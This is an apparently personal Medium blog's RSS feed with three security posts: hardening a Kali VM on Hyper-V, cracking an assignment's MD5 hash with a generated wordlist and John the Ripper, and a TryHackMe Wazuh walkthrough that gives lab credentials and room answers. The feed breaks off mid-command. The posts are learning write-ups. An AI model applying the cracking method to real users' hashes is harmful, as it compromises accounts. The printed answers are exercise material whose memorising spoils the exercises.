<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Loba_1van on Medium]]></title>
        <description><![CDATA[Stories by Loba_1van on Medium]]></description>
        <link>https://medium.com/@LobaMegaTon?source=rss-826a22df836f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Yp31ZkdJ8Ef-6gyt7l1w_A.png</url>
            <title>Stories by Loba_1van on Medium</title>
            <link>https://medium.com/@LobaMegaTon?source=rss-826a22df836f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 22:55:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@LobaMegaTon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Securing a Kali Linux VM on Hyper-V (ARM64): From Frustration to Full GUI + Hardened Setup]]></title>
            <link>https://medium.com/@LobaMegaTon/securing-a-kali-linux-vm-on-hyper-v-arm64-from-frustration-to-full-gui-hardened-setup-26092c14ae73?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/26092c14ae73</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[arm64]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[snapdragon]]></category>
            <category><![CDATA[virtual-machine]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Sun, 21 Sep 2025 05:46:10 GMT</pubDate>
            <atom:updated>2025-09-21T05:46:10.598Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4PsNL6_UNgqePsdLewgDA.jpeg" /></figure><p><strong>Introduction</strong></p><p>I’m going to walk you through how I set up Hyper-V and share my thoughts along the way.</p><p>First off why did I even go down this rabbit hole? Well, I’ve never owned a laptop on the <strong>ARM64 architecture</strong>. I did have a MacBook Pro at one point, but back then I wasn’t nearly as technical as I am now, so virtualization wasn’t even on my radar.</p><p>Fast forward to today: I’m well into my career and genuinely love the work I do. So when it came time to dive into ARM64, I figured, <em>why not do it with a Lenovo ThinkPad T14?</em> With its ARM64 architecture, 32GB of RAM, 1TB SSD, and the new Snapdragon® X Elite processor, it’s a setup I can really get excited about. And the battery life? Surprisingly impressive it sips power like a cactus holding onto water.</p><p>Anyways, back to it. I thought setting up this thing would be straightforward. It’s just another architecture, right? No biggie. <strong>Wrong.</strong> Installing Hyper-V and activating it is one thing. Then you’ve got to figure out which ISO files to get (spoiler: x86 doesn’t work anymore 🙃).</p><p>The first challenge: I couldn’t run VirtualBox, where I normally keep all my VMs. After some research, it turns out the only way to run VMs was through Docker, Hyper-V, or SSH into another machine. So I thought, <em>no worries, let’s do Hyper-V</em>.</p><p>Boom got the VM created, but now the scaling was off. The display was <strong>cramped and stretched</strong>. After that came networking: I had to set up an <strong>External VM Switch</strong> to get the host and VM on the same subnet. That alone took me a few hours to figure out.</p><p>Then came the ARM64 package headaches. I tried installing policykit-1 and hit <em>“no installation candidate.”</em></p><p>The workaround was:</p><pre>sudo apt install -y polkitd pkexec</pre><p>One of several small but annoying ARM64 quirks.</p><p>With the VM finally running Kali Linux, I had to solve the scaling problem another way. Since ARM64 doesn’t support Guest Additions like x86 (or at least I don’t know how feel free to drop a comment if you do), I turned to <strong>XRDP</strong>.</p><h3>Setting Up Remote Desktop (XRDP)</h3><p>I installed XRDP and XFCE:</p><pre>sudo apt update<br>sudo apt install -y xrdp xorgxrdp xfce4 xfce4-goodies dbus-x11 polkitd pkexec</pre><p>At first, RDP just booted me back to the login screen after I entered credentials. The fix was creating session files and editing the XRDP startup script:</p><pre>echo &quot;startxfce4&quot; &gt; ~/.xsession<br>echo &quot;exec startxfce4&quot; &gt; ~/.xinitrc<br>chmod 644 ~/.xsession ~/.xinitrc</pre><pre>sudo nano /etc/xrdp/startwm.sh<br># Add at the top:<br>unset DBUS_SESSION_BUS_ADDRESS<br>unset XDG_RUNTIME_DIR<br>startxfce4<br>exit 0</pre><p>Restart XRDP:</p><pre>sudo systemctl restart xrdp</pre><p>✅ Finally, a working full desktop session over RDP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*PsvWdoScRl9h1TP1IS9Ojw.jpeg" /><figcaption>This is a wall on fire.</figcaption></figure><h3>Firewall Lessons (UFW)</h3><p>At first, I opened RDP (3389/tcp) to the world:</p><pre>sudo ufw allow 3389/tcp</pre><p>I was able to successfully connect from another machine, I could RDP in with just an IP and password. On my home Wi-Fi great its working, but what kind of cyber security practitioner would I be if stopped there?</p><p>The fix was locking RDP to <strong>localhost only</strong> and exposing only SSH:</p><pre>sudo ufw delete allow 3389/tcp<br>sudo ufw delete allow 3389/tcp (v6)<br>sudo ufw allow from 127.0.0.1 to any port 3389 proto tcp<br>sudo ufw allow 22/tcp<br>sudo ufw enable</pre><p>✅ RDP is now only accessible locally.</p><h3>SSH Tunnel for Secure GUI</h3><p>With RDP bound to localhost, the solution was tunneling through SSH. From the Windows host:</p><pre>ssh -L 3390:localhost:3389 ivan@192.168.0.245</pre><p>Then connect with <strong>MSTSC</strong> to:</p><pre>localhost:3390</pre><p>At first, I got the dreaded <em>“console session in progress”</em> error — Windows RDP was colliding with itself. Switching to local port <strong>3390</strong> fixed it.</p><p>✅ Now I have a secure GUI, tunneled over SSH, completely hidden from the outside network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9VpcmBEpPKW6IlDFzFh4XQ.jpeg" /></figure><h3>Hardening User Accounts</h3><p>Leaving the default kali user with sudo rights isn’t smart. I:</p><ul><li>Created a new admin user:</li></ul><pre>sudo adduser ivan<br>sudo usermod -aG sudo ivan</pre><ul><li>Demoted the default account:</li></ul><pre>sudo deluser kali sudo</pre><ul><li>Changed all passwords.</li></ul><p>✅ New unique admin, default user demoted.</p><h3>Fail2ban for SSH</h3><p>Since SSH is the only open port, brute-force attacks were the main risk. Installed Fail2ban:</p><pre>sudo apt install -y fail2ban<br>sudo systemctl enable --now fail2ban</pre><p>Check status:</p><pre>sudo fail2ban-client status sshd</pre><p>✅ Any repeated failed logins now get auto-banned.(impressive next step is to add ssh keys but that’ll be for another time :)</p><h3>Security Summary</h3><ul><li><strong>RDP</strong> → locked to localhost, tunneled over SSH.</li><li><strong>SSH</strong> → only open port, brute-force protected.</li><li><strong>Firewall (UFW)</strong> → strict, only 22/tcp exposed.</li><li><strong>Accounts</strong> → default demoted, new unique admin in use.</li><li><strong>ARM64 quirks</strong> → worked around missing packages.</li></ul><h3>Lessons Learned</h3><ol><li>Hyper-V networking quirks can give duplicate IPs — external switch fixes it.</li><li>ARM64 adds complexity: missing packages, fewer guides, weaker tool support.</li><li>Never expose RDP directly — tunnel or VPN it.</li><li>Default accounts = liability. Always create your own admin.</li><li>Firewalls should <strong>deny by default</strong>, allow only what’s necessary.</li><li>Fail2ban = quick win for SSH.</li></ol><p><strong>Conclusion</strong></p><p>Running Kali Linux on <strong>ARM64 inside Hyper-V</strong> is not smooth. You’ll hit missing packages, display quirks, and tutorials that don’t quite fit. A lot of people dislike ARM64 for this reason and honestly, I see why.</p><p>But once you fight through the headaches, you end up with more than just a working VM. You gain a secure, hardened environment one that’s safe to use even on public Wi-Fi.</p><p>👉 If you’re running Kali (or any Linux VM), don’t stop at “it boots.” Harden it. You’ll learn more from the obstacles than from the easy wins.</p><p><strong>Disclaimer: None of the IPs, accounts, or ports used are currently in use anymore.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26092c14ae73" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Cracking an MD5 Hash with a Custom Dictionary Attack in Kali Linux]]></title>
            <link>https://medium.com/@LobaMegaTon/cracking-an-md5-hash-with-a-custom-dictionary-attack-in-kali-linux-94e93756b987?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/94e93756b987</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[md5]]></category>
            <category><![CDATA[cracking-hashes]]></category>
            <category><![CDATA[john-the-ripper]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Fri, 25 Jul 2025 19:24:47 GMT</pubDate>
            <atom:updated>2025-07-25T19:24:47.071Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*iGGb-DMprXfPwAd6eXPP8g.png" /><figcaption>Password Cracker tool :D</figcaption></figure><p>In this post, I’ll walk through how I recovered a hashed password using a <strong>dictionary attack</strong> and basic Python scripting a classic technique used in both offensive and defensive cybersecurity.</p><p>I was given the following MD5 hash to crack: 849a0c8573ade0ad5d7b4c66a1290dcd</p><p>MD5 is a one-way cryptographic hash function often used to store passwords. Since it can’t be reversed directly, I used a <strong>dictionary attack</strong> where we try possible passwords until one matches the hash.</p><h3>🧱 Step 1: Understand the Pattern</h3><p>The assignment specified that the password format was:</p><pre>name + special character + two-digit number</pre><p>With symbols selected from this list: [&#39;$&#39;, &#39;.&#39;, &#39;_&#39;, &#39;+&#39;]</p><p>So valid guesses would look like:</p><ul><li>maria$00</li><li>bob+99</li><li>john_42</li></ul><p>This made brute-force too inefficient, and a custom dictionary attack ideal.</p><h3>📁 Step 2: Prepare a Wordlist of Names</h3><p>I needed a list of common first names. I downloaded one from GitHub using:</p><pre>wget https://raw.githubusercontent.com/dominictarr/random-name/master/first-names.txt -O names.txt</pre><p>This gave me over 1,000 real-world names to work with.</p><h3>🐍 Step 3: Generate the Custom Wordlist with Python</h3><p>I wrote a script called getDictionary.py to combine each name with each symbol and each two-digit number:</p><pre># getDictionary.py<br>symbols = [&#39;$&#39;, &#39;.&#39;, &#39;_&#39;, &#39;+&#39;]<br>output_file = &quot;dictionary.txt&quot;<br><br>with open(&quot;names.txt&quot;, &quot;r&quot;) as f:<br>    names = [line.strip() for line in f if line.strip()]<br><br>with open(output_file, &quot;w&quot;) as out:<br>    for name in names:<br>        for symbol in symbols:<br>            for num in range(100):<br>                password = f&quot;{name}{symbol}{num:02d}&quot;<br>                out.write(password + &quot;\n&quot;)</pre><p>Running this created a file with <strong>over 480,000 password combinations</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_kHWLMOKxEspqHiFZHs5Jw.png" /><figcaption>Custom Wordlist</figcaption></figure><pre>python3 getDictionary.py</pre><h3>🧠 Step 4: Launch the Attack with John the Ripper</h3><p>I used John the Ripper a powerful password cracker included in Kali Linux to match the hash:</p><pre>john --wordlist=dictionary.txt --format=raw-md5 md5hash.txt</pre><h3>✅ The Recovered Password</h3><pre>Zuzana+84</pre><p>This matched the original MD5 hash exactly.</p><h3>🧩 Why This Matters</h3><p>This project reinforced the importance of:</p><ul><li>Using strong, unpredictable passwords</li><li>Salting hashes before storage</li><li>Understanding real-world attack strategies to better defend against them</li></ul><p>Even with a one-way function like MD5, poor password practices can make user data vulnerable and tools like John can expose those weaknesses in seconds.</p><h3>💬 Final Thoughts</h3><p>This exercise sharpened my scripting, logic, and ethical hacking skills and demonstrated how easily structured passwords can fall to a targeted dictionary attack.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94e93756b987" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring Wazuh on TryHackMe: A Hands-On Look at Endpoint Security]]></title>
            <link>https://medium.com/@LobaMegaTon/exploring-wazuh-on-tryhackme-a-hands-on-look-at-endpoint-security-08ddca84b1c8?source=rss-826a22df836f------2</link>
            <guid isPermaLink="false">https://medium.com/p/08ddca84b1c8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Loba_1van]]></dc:creator>
            <pubDate>Wed, 28 May 2025 22:51:21 GMT</pubDate>
            <atom:updated>2025-05-28T22:57:04.563Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p22WEDOMLLGhfYrvptRdkg.png" /></figure><p>As part of my journey through the <strong>Endpoint Security Monitoring</strong> path on TryHackMe, I recently completed the <strong>Wazuh</strong> room a practical introduction to a powerful open-source security platform.</p><p>In cybersecurity, <strong>endpoints are where the action happens</strong>. Adversaries often spend the most time on compromised workstations, escalating privileges, evading defenses, and executing their objectives. That’s why monitoring endpoint activity isn’t just helpful it’s essential.</p><p>This room introduces <strong>Wazuh</strong>, a free and enterprise ready tool that supports:</p><ul><li>Real-time <strong>threat detection</strong></li><li><strong>File integrity monitoring</strong></li><li><strong>Log analysis</strong></li><li>And much more</li></ul><p>Wazuh combines features of a SIEM and an endpoint detection and response (EDR) solution, making it a strong choice for anyone building defensive capabilities.</p><p>If you’re learning about blue teaming or want to get hands-on with a production grade monitoring tool, this room is worth your time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tcU3mySI-FYDKRXlhOUS-g.png" /></figure><h3>Task 1: Introduction to Wazuh and EDR Solutions</h3><p>As I began exploring the <strong>Wazuh</strong> room on TryHackMe, the first task introduced the fundamentals of Endpoint Detection and Response (EDR) solutions what they are, why they matter, and how Wazuh fits into the bigger picture.</p><h3>🔍 What Is an EDR?</h3><p><strong>Endpoint Detection and Response (EDR)</strong> tools are designed to continuously monitor and respond to threats on endpoint devices. Think of EDR as your digital watchdog constantly auditing systems, watching for suspicious activity, and visualizing data in a meaningful way.</p><p>Some of the core features of EDR tools include:</p><ul><li>Auditing for known vulnerabilities</li><li>Monitoring for anomalies like unauthorized logins or privilege escalations</li><li>Visualizing complex security data through interactive dashboards</li><li>Learning baseline behaviors to help detect when something’s off</li></ul><h3>🛡️ Enter Wazuh</h3><p><strong>Wazuh</strong>, released in <strong>2015</strong>, is a powerful open-source EDR solution capable of handling environments of all sizes. Its architecture follows a <strong>manager-agent</strong> model:</p><ul><li>The <strong>manager</strong> is the central brain, receiving and processing data</li><li>Each <strong>agent</strong> is installed on an endpoint (Windows, Linux, etc.) and sends logs back to the manager for analysis</li></ul><p>This model allows for centralized monitoring of multiple devices, making it highly scalable and effective for modern SOC operations.</p><h3>What You’ll Learn in This Room</h3><p>Here’s a quick overview of what this room covers:</p><ul><li>Understanding EDRs and their real-world use cases</li><li>Accessing and navigating the Wazuh dashboard</li><li>Learning how rules and alerts function within Wazuh</li><li>Parsing logs for actionable insights on both Linux and Windows endpoints</li><li>Extending Wazuh through plugins and APIs</li></ul><p>This foundation sets the stage for the more hands-on tasks that follow.</p><h3>🧠 Quick Answers Recap:</h3><p><strong>1.1</strong> When was Wazuh released?<br> → <em>2015</em></p><p><strong>1.2</strong> What is the term for a monitored device?<br> → <em>Agent</em></p><ol><li><strong>3</strong> What is the device that manages agents called?<br> → <em>Manager</em></li></ol><h3>Task 2: Deploying the Wazuh Management Server</h3><p>With a solid understanding of what Wazuh is and how it functions, the next step is hands-on: deploying the <strong>Wazuh management server</strong> and accessing its web interface.</p><p>To get started, I connected to the TryHackMe VPN to ensure I could reach the server from my own setup. Alternatively, you can use the built-in <strong>AttackBox</strong> for seamless access both methods work fine.</p><p>Once the server is deployed, it’s important to wait at least <strong>five minutes</strong> before attempting to load the Wazuh interface. If you rush it, you’ll likely see the message:</p><blockquote>“Kibana Server is not ready yet”</blockquote><p>Be patient Wazuh and Kibana take a moment to spin up properly.</p><h3>🖥️ Logging In</h3><p>After the server is ready, I navigated to:</p><p><strong>http://&lt;MACHINE_IP&gt;</strong></p><p>Then logged in using the provided credentials:</p><ul><li><strong>Username:</strong> wazuh</li><li><strong>Password:</strong> eYa0M1-hG0e7rjGi-lRB2qGYVoonsG1K</li></ul><p>Don’t forget to select <strong>“Global Tenant”</strong> after logging in to get access to the full dashboard.</p><p>Once inside, I was greeted with a fully operational Wazuh interface. Although the agents appeared <strong>disconnected</strong>, that’s expected for this room and doesn’t impact our learning objectives.</p><p>This step is foundational for the rest of the room almost every task moving forward relies on accessing this server to view data, rules, and alerts in real time.</p><h3>Task 3: Understanding Wazuh Agents</h3><p>Now that the Wazuh management server is up and running, it’s time to look at one of the most critical components of any EDR solution: the <strong>agents</strong>.</p><h3>🛰️ What Are Agents?</h3><p>In the Wazuh ecosystem, <strong>agents</strong> are installed on endpoint devices Windows, Linux, macOS, and more. These agents are responsible for monitoring activities like:</p><ul><li>User authentication</li><li>Process execution</li><li>File changes</li><li>Privilege escalations</li></ul><p>The agents then <strong>forward this data to the Wazuh manager</strong>, which analyzes it for potential threats.</p><h3>🛠️ Deploying Agents with the Wizard</h3><p>Wazuh simplifies the deployment process with a built-in wizard. To access it:</p><blockquote><strong><em>Wazuh → Agents → Deploy New Agent</em></strong></blockquote><p>From there, the wizard walks you through the setup, prompting for:</p><ul><li><strong>Operating System</strong> of the target device</li><li><strong>Wazuh server address</strong> (IP or DNS) the agent should report to</li><li><strong>Group assignment</strong>, for organizing your agents</li></ul><p>At the final stage, Wazuh generates a pre-built command that can be copied and executed on the target machine. This command installs and configures the agent with minimal hassle.</p><p>Whether you’re deploying to <strong>Windows</strong> or <strong>Debian/Ubuntu</strong>, the process is well-documented and easy to follow.</p><h3>📊 Agent Overview</h3><p>Once inside the <strong>Agents</strong> tab on the Wazuh dashboard, I found the following:</p><ul><li><strong>Total Agents:</strong> 2</li><li><strong>Agent Status:</strong> Disconnected (which is expected in this TryHackMe environment)</li></ul><p>This step reinforces the concept that while the manager collects and visualizes the data, <strong>the real activity happens at the agent level</strong> monitoring endpoints where threats are most likely to emerge.</p><p>3.1 Ensure that you are logged in to the Wazuh management server on <a href="http://https//MACHINE_IP">HTTPS://MACHINE_IP</a></p><p>Answer: No answer needed</p><p>3.2 Navigate to the “Agents” tab by pressing Wazuh -&gt; Agents</p><p>Answer: No answer needed</p><p>3.3 How many agents does this Wazuh management server manage?</p><p>Answer: 2</p><p>3.4 What are the status of the agents managed by this Wazuh management server?</p><p>Answer: disconnected</p><h3>Task 4: Vulnerability Assessment and Security Events with Wazuh</h3><p>One of the most valuable features built into Wazuh is its <strong>Vulnerability Assessment module</strong>. This capability allows Wazuh agents to routinely scan the system they’re installed on, collecting data about installed applications and their version numbers.</p><h3>🔎 How It Works</h3><p>Once the data is gathered, it’s sent back to the <strong>Wazuh manager</strong>, where it’s compared against a database of known vulnerabilities (CVEs). For instance, if an agent is running a vulnerable version of <strong>Vim</strong>, like the one affected by <strong>CVE-2019–12735</strong>, Wazuh will flag it accordingly.</p><p>The scanner performs a <strong>full scan immediately after the agent is installed</strong> and continues scanning at regular intervals (default: every 5 minutes when enabled). These settings can be found in the manager configuration file:<br> /var/ossec/etc/ossec.conf</p><h3>⚙️ Security Event Detection</h3><p>Beyond vulnerability scanning, Wazuh also monitors <strong>security events</strong> based on defined rulesets. This includes common system activity such as file deletions or scheduled tasks which can sometimes trigger alerts even during routine operations.</p><p>For example, in this task, one of the Linux agents generated <strong>769 events</strong>, many of which are normal system processes flagged by Wazuh’s <strong>sensitive default ruleset</strong>.</p><p>You can explore these events in detail by clicking the dropdown on each event. Wazuh allows sorting by timestamp, tactic, description, and more making event analysis straightforward and efficient.</p><h3>🧠 Task Questions and Answers</h3><p><strong>4.1</strong> Ensure that you are logged in to the Wazuh management server on <a href="https://10.10.172.133/">https://10.10.172.133</a></p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p><strong>4.2</strong> Navigate to the Agents tab by pressing Wazuh → Agents</p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p><strong>4.3</strong> Select the agent named <strong>AGENT-001</strong></p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><p><strong>4.4</strong> How many “Security Event” alerts have been generated by the agent “AGENT-001”?<br> <em>Hint: Be sure to adjust the time range to include </em><strong><em>March 11th, 2022</em></strong><em> before checking the alert count.</em></p><blockquote><strong><em>Answer:</em></strong><em> </em><strong><em>196</em></strong></blockquote><h3>Task 5: Policy Auditing with Wazuh</h3><p>Wazuh isn’t just a tool for real-time threat detection it also provides powerful <strong>policy auditing</strong> capabilities. Once the Wazuh agent is installed on a device, it performs a security configuration audit (SCA) and assigns compliance scores based on established frameworks such as:</p><ul><li><strong>MITRE ATT&amp;CK</strong></li><li><strong>NIST</strong></li><li><strong>GDPR</strong></li></ul><p>These frameworks are frequently referenced in cybersecurity and compliance efforts. If you’d like a refresher, they’re also discussed in TryHackMe’s <em>Pentesting Fundamentals</em> room.</p><h3>📋 Auditing in Action</h3><p>For instance, when auditing a host like <strong>DC-01</strong>, Wazuh generates scores that reflect how well the system aligns with these standards. It breaks down the results by category, making it easy to assess areas that need attention.</p><p>This data isn’t just available as raw logs Wazuh provides rich visualizations and dashboards, offering an at-a-glance view of:</p><ul><li>Policy compliance benchmarks</li><li>System hardening scores</li><li>Audit results by category and severity</li></ul><p>In this task, the focus is on exploring those metrics for a Windows domain controller and gaining insights into its security posture.</p><h3>🧠 Task Questions and Answers</h3><p><strong>5.1</strong> Ensure that you are logged in to the Wazuh management server on 10.10.172.133</p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><h3>Task 6: Monitoring Logins with Wazuh</h3><p>A major strength of Wazuh lies in its ability to monitor <strong>authentication activity</strong> both successful and unsuccessful login attempts across the environment.</p><h3>🛡️ Real-Time Login Detection</h3><p>For example, Wazuh includes <strong>Rule ID 5710</strong>, which is triggered by <strong>failed SSH login attempts</strong>. In one scenario provided in the task, an alert was raised when someone attempted to log into an agent (ip-10-10-73-118) using the non-existent user <strong>cmnatic</strong>.</p><p>These types of authentication attempts are immediately logged and flagged by Wazuh’s rule engine.</p><h3>📂 Where Are These Alerts Stored?</h3><p>All Wazuh alerts are stored in:</p><pre>/var/ossec/logs/alerts/alerts.log</pre><p>You can manually browse or search through this file using tools like grep or nano on the management server. This allows for quick investigation if you need to dig into the raw alert data.</p><h3>✅ Successful Logins Tracked Too</h3><p>Wazuh doesn’t just flag failures it also logs <strong>successful login events</strong>. These generally receive a <strong>lower severity</strong> rating, but severity levels can be customized. For example, a successful login from a rarely used account might warrant a higher alert level in your environment.</p><p>In the provided example, Wazuh filtered <strong>285 logon events</strong> down to <strong>79</strong> that matched specific criteria, showcasing its ability to fine-tune visibility based on your needs.</p><h3>🧠 Task Questions and Answers</h3><p><strong>6.1</strong> Ensure that you are logged in to the Wazuh management server on <a href="http://10.10.172.133/">http://10.10.172.133</a></p><blockquote><strong><em>Answer:</em></strong><em> No answer needed</em></blockquote><h3>Task 7: Collecting Windows Logs with Wazuh and Sysmon</h3><p>When it comes to endpoint visibility, <strong>Windows systems generate a massive amount of useful event data </strong>from authentication attempts and network connections to application behavior and file access. To harness this information effectively, Wazuh integrates seamlessly with <strong>Sysmon</strong>, a powerful Windows event logging tool.</p><h3>🛠️ What Is Sysmon?</h3><p><strong>Sysmon (System Monitor)</strong> is a Windows system service and driver that logs system activity to the Windows Event Log. It captures high-fidelity data such as process creation, network connections, and driver loading.</p><p>In this task, we configured Sysmon to <strong>track the execution of </strong><strong>powershell.exe</strong> by providing it with a custom XML rule:</p><pre>Sysmon64.exe -accepteula -i detect_powershell.xml</pre><p>Once applied, you can verify the rule by opening the <strong>Event Viewer</strong> and locating the <strong>Sysmon</strong> log entry.</p><h3>🔄 Forwarding Logs to Wazuh</h3><p>To send these Sysmon logs to the <strong>Wazuh manager</strong>, the <strong>Wazuh agent</strong> installed on the Windows system must also be configured. This involves editing the following file:</p><pre>C:\Program Files (x86)\ossec-agent\ossec.conf</pre><p>You’ll add a snippet that tells the agent what logs to forward. Once the changes are in place, restart the agent (or the whole system to be sure).</p><h3>📦 Final Step: Enable Sysmon on the Wazuh Manager</h3><p>Back on the <strong>Wazuh manager</strong>, you need to ensure it can process Sysmon logs by editing:</p><pre>/var/ossec/etc/rules/local_rules.xml</pre><p>This file should include the appropriate rule for Sysmon events. After saving, <strong>restart the Wazuh manager</strong> to apply the changes. You’ll now see Sysmon event data flowing into the dashboard, confirming successful integration.</p><h3>🧠 Task Questions and Answers</h3><p><strong>7.1</strong> What is the name of the tool that we can use to monitor system events?</p><blockquote><strong><em>Answer:</em></strong><em> Sysmon</em></blockquote><p><strong>7.2</strong> What standard application on Windows do these system events get recorded to?</p><blockquote><strong><em>Answer:</em></strong><em> Event Viewer</em></blockquote><h3>Task 8: Collecting Linux Logs with Wazuh</h3><p>Just like on Windows, collecting logs from a <strong>Linux endpoint</strong> using Wazuh is straightforward. In this task, we focus on capturing and analyzing <strong>Apache2 web server logs</strong> using Wazuh’s built-in log collector service.</p><h3>📥 How Linux Log Collection Works</h3><p>Wazuh uses a powerful and flexible <strong>log collector</strong> to gather logs from various applications. To monitor Apache2 logs, we configure the agent to specify <strong>which log files</strong> to watch and <strong>how</strong> to parse them.</p><p>Wazuh includes nearly <strong>900 prebuilt rulesets</strong> for popular applications such as:</p><ul><li>Docker</li><li>WordPress</li><li>FTP</li><li>SQL Server</li><li>MongoDB</li><li>Firewall</li></ul><p>These rule definitions are located in:</p><pre>/var/ossec/ruleset/rules</pre><p>You can also create custom rules tailored to your environment.</p><h3>🔧 Apache2 Log Monitoring</h3><p>In this example, Wazuh leverages the <strong>0250-apache_rules.xml</strong> ruleset to analyze Apache2 logs for errors and warning messages. To set it up:</p><p>Edit the agent configuration at: /var/ossec/etc/ossec.conf</p><p>Add a &lt;localfile&gt; entry pointing to the Apache2 access or error log</p><p>Restart the <strong>Linux agent</strong> running the Apache2 service</p><p>Once complete, logs from the Apache2 web server will begin streaming to the <strong>Wazuh manager</strong>, where they’re parsed and visualized for any suspicious or noteworthy activity.</p><h3>🧠Task Questions and Answers</h3><p><strong>8.1</strong> What is the full file path to the rules located on a Wazuh management server?</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>/var/ossec/ruleset/rules</em></blockquote><h3>Task 9: Auditing Linux Command Execution with Wazuh and auditd</h3><p>One of the more advanced ways to monitor activity on a Linux system is by tracking <strong>commands executed by users</strong> especially those run as root. For this, Wazuh integrates with <strong>auditd</strong>, a powerful auditing daemon for Linux.</p><h3>🛠️ What Is auditd?</h3><p><strong>auditd</strong> is a user-space component to the Linux Auditing System. It monitors specific events like system calls, command executions, or file access and records them in a log file. These logs can then be parsed by the Wazuh agent and forwarded to the <strong>Wazuh manager</strong> for analysis.</p><h3>📦 Setting Up auditd</h3><p>On a <strong>Ubuntu system</strong>, the auditd package (along with its plugin) can be installed with:</p><pre>sudo apt-get install auditd audispd-plugins</pre><p>Enable the service to run now and at boot:</p><pre>sudo systemctl enable auditd.service<br>sudo systemctl start auditd.service</pre><h3>Creating Audit Rules</h3><p>To monitor commands run as <strong>root</strong>, we define a rule inside the audit configuration:</p><ol><li>Open the audit rules file:</li></ol><pre>sudo nano /etc/audit/rules.d/audit.rules</pre><p>2.Add the following rule to track command execution by root users:</p><pre>-a exit,always -F arch=64 -F euid=0 -S execve -k audit-wazuh-c</pre><p>3. Reload the audit rules to apply changes:</p><pre>sudo auditctl -R /etc/audit/rules.d/audit.rules</pre><p>This rule tells auditd to monitor for the execve syscall (used when a process executes another) when run by any user with <strong>effective UID 0</strong> (i.e., root).</p><h3>🔄 Forwarding auditd Logs to Wazuh</h3><p>Next, we configure the <strong>Wazuh agent</strong> on this Linux host to collect logs from auditd:</p><ul><li>Edit the Wazuh agent config file:</li></ul><pre>sudo nano /var/ossec/etc/ossec.conf</pre><ul><li>Add a &lt;localfile&gt; entry pointing to the audit log location so Wazuh can parse it.</li></ul><p>Once everything is configured, restart the agent and you’ll begin to see command execution logs from auditd appearing in the Wazuh dashboard.</p><h3>🧠 Task Questions and Answers</h3><p><strong>9.1</strong> What application do we use on Linux to monitor events such as command execution?</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>auditd</em></blockquote><p><strong>9.2</strong> What is the full path &amp; filename for where the aforementioned application stores rules?</p><blockquote><strong><em>Answer:</em></strong><em> </em><em>/etc/audit/rules.d/audit.rules</em></blockquote><h3>Task 10: Interacting with the Wazuh API</h3><p>Wazuh provides a <strong>powerful RESTful API</strong> that allows users to interact with the Wazuh management server directly from the command line or a web-based console. Whether you’re pulling server statistics, managing agents, or automating tasks, the API offers extensive control and flexibility.</p><h3>🧪 Using Our Own Client (with curl)</h3><p>To get started, we use the command-line tool <strong>curl</strong> on a Linux system. Since the API is protected, the first step is to authenticate and receive a <strong>token</strong>, which acts like a session key.</p><p>Here’s how to do it (replace WAZUH_MANAGEMENT_SERVER_IP with your server’s IP):</p><pre>TOKEN=$(curl -u &lt;username&gt;:&lt;password&gt; -k -X GET &quot;https://WAZUH_MANAGEMENT_SERVER_IP:55000/security/user/authenticate?raw=true&quot;)</pre><p>Once authenticated, you can use the token to make further API requests:</p><pre>curl -k -X GET &quot;https://10.10.172.133:55000/&quot; -H &quot;Authorization: Bearer $TOKEN&quot;</pre><p>Wazuh supports standard HTTP methods: GET, POST, PUT, and DELETE.</p><h4>📊 Example API Queries</h4><ul><li>Check Wazuh manager status:</li></ul><pre>curl -k -X GET &quot;https://10.10.172.133:55000/manager/status?pretty=true&quot; -H &quot;Authorization: Bearer $TOKEN&quot;</pre><p>View global Wazuh configuration:</p><pre>curl -k -X GET 